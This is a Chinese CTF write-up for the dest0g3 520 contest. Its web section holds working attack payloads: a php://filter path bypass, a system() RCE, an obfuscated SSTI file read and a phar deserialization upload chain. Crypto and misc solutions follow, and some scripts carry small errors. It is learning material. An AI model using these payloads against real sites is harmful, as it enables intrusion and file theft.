9

dest0g3 520迎新赛wp

 1 year ago
source link: https://ethe448.github.io/2022/05/20/520%E8%BF%8E%E6%96%B0%E8%B5%9Bwp/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

dest0g3 520迎新赛wp

Ethe's blog
Never really desperate, only the lost of the soul.

phpdest

和wm2020年的题一样

php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,如果require_once(‘flag.php’),include的文件不运行再通过require_once包含。
通过知识点:/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,利用伪协议配合多级符号链接的办法进行绕过。

payload

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
image-20220520133732748
image-20220520133732748

解码拿到flag

php源码分析 require_once 绕过不能重复包含文件的限制 - 安全客,安全资讯平台 (anquanke.com)

EasyPHP

应该是要利用报错进入set_error_handler里,传个数组就成功了

image-20220520134227015
image-20220520134227015

SimpleRCE

利用进制编码和通配符绕过

payload

aaa=hex2bin('73797374656d')('uniq /f*');
image-20220520135650912
image-20220520135650912

EasySSTI

用这篇文章里的方法改改就行https://chenlvtang.top/2021/03/31/SSTI%E8%BF%9B%E9%98%B6/

首先用%0a绕过空格的过滤,然后利用{%%}和set绕过关键字,利用pop和()|select|string|list得到下划线,最后就是用__getitem__

构造类似x.__init__.__globals__['__builtins__'].chr 这种payload得到chr和open,猜测flag在根目录下的/flag中,尝试读取

最终payload
python
username={%set%0apo=dict(po=a,p=a)|join%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aini=(a,a,dict(in=a,it=a)|join,a,a)|join()%}{%set%0aglo=(a,a,dict(gl=a,obals=a)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(getit=a,em=a)|join,a,a)|join()%}{%set%0abuilt=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}{%set%0ax=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{%%0aset%0ach=dict(ch=a,r=a)|join%}{%set%0ax=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{%set%0achr=(x|attr(geti))(ch)%}{%set%0afile=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}{%%0aset%0aop=dict(ope=a,n=a)|join%}{%set%0aopen=(x|attr(geti))(op)%}{%%0aset%0are=dict(re=a,ad=a)|join%}{%print(open(file)|attr(re)())%}&password=x
image-20220521162208161
image-20220521162208161

PharPOP

<?php
highlight_file(__FILE__);

function waf($data){
    if (is_array($data)){
        die("Cannot transfer arrays");
    }
    if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) {
        die("You can't do");
    }
}

class air{
    public $p;

    public function __set($p, $value) {
        $p = $this->p->act;
        echo new $p($value);
    }
}

class tree{
    public $name;
    public $act;

    public function __destruct() {
        return $this->name();
    }
    public function __call($name, $arg){
        $arg[1] =$this->name->$name;

    }
}

class apple {
    public $xxx;
    public $flag;
    public function __get($flag)
    {
        $this->xxx->$flag = $this->flag;
    }
}

class D {
    public $start;

    public function __destruct(){
        $data = $_POST[0];
        if ($this->start == 'w') {
            waf($data);
            $filename = "/tmp/".md5(rand()).".jpg";
            file_put_contents($filename, $data);
            echo $filename;
        } else if ($this->start == 'r') {
            waf($data);
            $f = file_get_contents($data);
            if($f){
                echo "It is file";
            }
            else{
                echo "You can look at the others";
            }
        }
    }
}

class banana {
    public function __get($name){
        return $this->$name;
    }
}
// flag in /
if(strlen($_POST[1]) < 55) {
    $a = unserialize($_POST[1]);
}
else{
    echo "str too long";
}

throw new Error("start");
?>

题目很明显是要先post参数1去调用D类里的file_put_content,然后写入我们的phar文件,再通过file_get_content去访问phar文件来实现反序列化,从air类里的echo new $p($value);也能看出这里要用原生类来读目录和文件。

链子很简单,就不说了。这里主要的难度是绕过最后的throw new Error("start");语句,如果想利用destruct方法反序列化会因为最后的抛出错误的语句导致程序提前结束,所以这里要利用unset来绕过最后的错误,让反序列化成功进行

具体的步骤看这个

[phar反序列化][NSSCTF]prize_p1_Snakin_ya的博客-CSDN博客

所以写文件时:

O:1:"D":2:{s:5:"start";s:1:"w";s:4:"star";O:1:"D":1:N}
image-20220522131509238
image-20220522131509238

生成phar文件之后在010里进行修改(这是读文件的phar,读目录的时候忘了截图被覆盖了

image-20220522133028155
image-20220522133028155

然后修改签名

python
from hashlib import sha1

file = open('../php/NSSCTF prize_p1/ars.phar', 'rb').read()

text = file[:-28]  #读取开始到末尾除签名外内容

last = file[-8:]   #读取最后8位的GBMB和签名flag

new_file = text+sha1(text).digest() + last  #生成新的文件内容,主要是此时sha1正确了。

open('reaflag2.phar', 'wb').write(new_file)

达到调用unset的目的

然后要绕过代码中的waf,可以对phar文件进行压缩,原理可以看这个https://www.anquanke.com/post/id/240007#h2-5

再利用python脚本上传文件

import request
url = 'http://8bfdc886-3097-4a19-978d-9a417e256662.node4.buuoj.cn:81/'

res = requests.post(
    url,
    data={
        1: 'O:1:"D":2:{s:5:"start";s:1:"w";s:4:"star";O:1:"D":1:N}',
        0: open('./reaflag2.phar.gz', 'rb').read()
    }
) # 写入
print(res.text)

得到上传地址之后利用phar协议访问一下就行。

image-20220522131430525
image-20220522131430525

改phar内容的时候不能用txt,上传也不能用burp,这两个卡了我好久。。。

Welcome to fxxking DestCTF

Pngenius

图片里有个压缩包,分离出来之后发现需要密码,猜测密码也在图片里,zsteg跑一遍

image-20220520142310366
image-20220520142310366

拿到密码,打开压缩包找到flag

EasyEncode

爆破跑密码

image-20220520155335442
image-20220520155335442

里面是摩斯密码,解码之后是一大串数字

5 C 7 5 3 0 3 0 3 5 3 2 5 C 7 5 3 0 3 0 3 4 3 7 5 C 7 5 3 0 3 0 3 5 3 6 5 C 7 5 3 0 3 0 3 7 6 1 5 C 7 5 3 0 3 0 3 6 3 4 5 C 7 5 3 0 3 0 3 4 3 4 5 C 7 5 3 0 3 0 3 4 3 2 5 C 7 5 3 0 3 0 3 6 6 5 5 C 7 5 3 0 3 0 3 4 6 4 5 C 7 5 3 0 3 0 3 3 3 3 5 C 7 5 3 0 3 0 3 7 3 4 5 C 7 5 3 0 3 0 3 4 3 5 5 C 7 5 3 0 3 0 3 5 6 1 5 C 7 5 3 0 3 0 3 5 3 7 5 C 7 5 3 0 3 0 3 3 3 9 5 C 7 5 3 0 3 0 3 6 6 2 5 C 7 5 3 0 3 0 3 6 3 1 5 C 7 5 3 0 3 0 3 5 3 7 5 C 7 5 3 0 3 0 3 3 3 5 5 C 7 5 3 0 3 0 3 6 6 5 5 C 7 5 3 0 3 0 3 5 3 8 5 C 7 5 3 0 3 0 3 7 6 1 5 C 7 5 3 0 3 0 3 4 3 6 5 C 7 5 3 0 3 0 3 7 6 1 5 C 7 5 3 0 3 0 3 5 3 8 5 C 7 5 3 0 3 0 3 3 3 2 5 C 7 5 3 0 3 0 3 5 3 5 5 C 7 5 3 0 3 0 3 3 3 0 5 C 7 5 3 0 3 0 3 6 3 3 5 C 7 5 3 0 3 0 3 3 3 3 5 C 7 5 3 0 3 0 3 6 6 3 5 C 7 5 3 0 3 0 3 6 3 6 5 C 7 5 3 0 3 0 3 4 6 5 5 C 7 5 3 0 3 0 3 4 3 6 5 C 7 5 3 0 3 0 3 3 3 9 5 C 7 5 3 0 3 0 3 5 3 6 5 C 7 5 3 0 3 0 3 6 3 6 5 C 7 5 3 0 3 0 3 5 3 1 5 C 7 5 3 0 3 0 3 2 3 5 5 C 7 5 3 0 3 0 3 3 3 3 5 C 7 5 3 0 3 0 3 4 3 4 5 C 7 5 3 0 3 0 3 2 3 5 5 C 7 5 3 0 3 0 3 3 3 3 5 C 7 5 3 0 3 0 3 4 3 4 

复制到010里发现是Unicode编码

image-20220520162301828
image-20220520162301828

Unicode解码发现是base64,再解码得到flag

image-20220520162337045
image-20220520162337045

CRYPTO

babyRSA

已知nce,要求出明文,就要先想办法求出qpd,

利用RsaCtfTool.py进行求解

image-20220520151555940
image-20220520151555940

然后再求私钥

image-20220520151624537
image-20220520151624537

最后得到qpd

image-20220520151647055
image-20220520151647055

随便找个rsa脚本套进去就行了

python
from Crypto.Util.number import long_to_bytes
string = ''
for x in range(1):
   c = 14181751948841206148995320731138166924841307246014981115736748934451763670304308496261846056687977917728671991049712129745906089287169170294259856601300717330153987080212591008738712344004443623518040786009771108879196701679833782022875324499201475522241396314392429412747392203809125245393462952461525539673218721341853515099201642769577031724762640317081252046606564108211626446676911167979492329012381654087618979631924439276786566078856385835786995011067720124277812004808431347148593882791476391944410064371926611180496847010107167486521927340045188960373155894717498700488982910217850877130989318706580155251854
   q = 165143607013706756535226162768509114446233024193609895145003307138652758365886458917899911435630452642271040480670481691733000313754732183700991227511971005378010205097929462099354944574007393761811271098947894183507596772524174007304430976545608980195888302421142266401500880413925699125132100053801973969401
   p = 165143607013706756535226162768509114446233024193609895145003307138652758365886458917899911435630452642271040480670481691733000313754732183700991227511971005378010205097929462099354944574007393761811271098947894183507596772524174007304430976545608980195888302421142266401500880413925699125132100053801973971467
   n = 27272410937497615429184017335437367466288981498585803398561456300019447702001403165885200936510173980380489828828523983388730026101865884520679872671569532101708469344562155718974222196684544003071765625134489632331414011555536130289106822732544904502428727133498239161324625698270381715640332111381465813621908465311076678337695819124178638737015840941223342176563458181918865641701282965455705790456658431641632470787689389714643528968037519265144919465402561959014798324908010947632834281698638848683632113623788303921939908168450492197671761167009855312820364427648296494571794298105543758141065915257674305081267
   e = 65537
   #d = libnum.invmod(e, (p - 1) * (q - 1))
   d = 3121448257353397521008122343609193178885723335228834266026969249529973560167730063129299361044338541996643944734161746790345361029496254021234107830835147478445995827602129027084328557873121512535534338680955898684986137612006599528489101993024083016810624261537303995439156771941439694356136703960699682133382027158795284121176051335224541792139301998430867357667228591618159856224671481257868298256833038515716847186893503607277761265884934308680131384025054980116408946675249894376907198506526558779944638834026881901482983419902337359310844362781386068641635065060468067278449010820146945870895885764387716082673
   m = pow(c, d, n)
   string += str(long_to_bytes(m),'utf-8')
print(string)
image-20220520151729727
image-20220520151729727

babyAES

这个怎么说呢。。。确实很简单

image-20220520153806437
image-20220520153806437

只要把给的值带进去然后把加密改成解密就行了

ezDLP

离散对数问题

直接用sage求就行

image-20220521223939336
image-20220521223939336

然后将结果转成十六进制再转换成字符

image-20220521224029558
image-20220521224029558

ezStream

0xGame2021有个差不多的,直接抄一下现成的脚本

python
from Crypto.Util.number import *


base = pow(2,32)

i = 104984523
a = 3939333498
b = 3662432446
m = 2271373817
state1 = 17362
state2 = 20624
# while i <= base:
#     # print(i)
#     if ((a*i+b)%m)>>16 == state1 and ((((a*i+b)%m)*a+b)%m)>>16 == state2:
#         print('find it',i)
#         break
#     i+=1
seed = 104984523
#
class LCG:
    def __init__(self):
        self.a = a
        self.b = b
        self.m = m
        self.seed = 104984523
    def next(self):
        self.seed = (self.a * self.seed + self.b) % self.m
        return self.seed >> 16

    def output(self):
        print("a = {}\nb = {}\nm = {}".format(self.a, self.b, self.m))
        print("state1 = {}".format(self.next()))
        print("state2 = {}".format(self.next()))
lcg = LCG()
lcg.output()
flag = long_to_bytes('600017039001091357643174067454938198067935635401496485588306838343558125283178792619821966678282131419050878').decode()

c = b''.join([long_to_bytes(ord(flag[i]) ^ (lcg.next() % 10))
              for i in range(len(flag))])
print(c)

利用注释的那段爆出seed的值,然后带进去就行

image-20220522150127328
image-20220522150127328

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK